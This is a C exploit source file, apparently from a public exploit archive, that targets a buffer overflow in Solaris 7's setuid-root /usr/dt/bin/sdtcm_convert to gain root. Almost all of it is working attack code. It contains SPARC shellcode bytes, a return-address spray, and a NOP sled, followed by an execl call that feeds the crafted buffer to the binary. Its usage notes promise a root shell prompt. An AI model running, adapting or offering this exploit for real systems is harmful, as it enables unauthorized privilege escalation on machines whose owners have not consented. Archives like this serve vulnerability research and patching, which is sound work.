Sun Solaris 7.0 - '/usr/dt/bin/sdtcm_convert' Local Overflow / Local Privilege Escalation

/*
source: https://www.securityfocus.com/bid/166/info

Sdtcm_convert is a setuid-root data conversion utility which converts OpenWindows version 3 calendar data files to version 4 and vice versa. A buffer overflow condition has been found in sdtcm_convert which may be exploited to obtain root access.
*/

/*=============================================================================
   sdtcm_convert Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
 
   [usage]
        % gcc ex_sdtcm_convert.c (This example program)
        % a.out
        If no response, hit ctrl+c
        #

=============================================================================
*/

#define     ADJUST      2
#define     OFFSET1     4000
#define     LENGTH1     260
#define     OFFSET2     6000
#define     LENGTH2     1000
#define     OFFSET3     6000+16*30

#define NOP 0xa61cc013

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"  
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
 
unsigned long ret_adr;
int i;
 
main()
{
    static char x[11000];

    memset(x,'a',10000);
    ret_adr=get_sp()-6300;
    for (i = 0; i < 5000 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    ret_adr=get_sp() - 10200;
    if ((ret_adr & 0xff )==0) ret_adr+=4;
    printf("%lx\n",ret_adr);
    for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
        x[i+3]=NOP & 0xff;  
        x[i+2]=(NOP >> 8 ) &0xff; 
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++)
x[OFFSET3+ADJUST+i]=exploit_code[i];
    x[10000]=0;
    execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert",
"-d",x,"test",(char *) 0);
}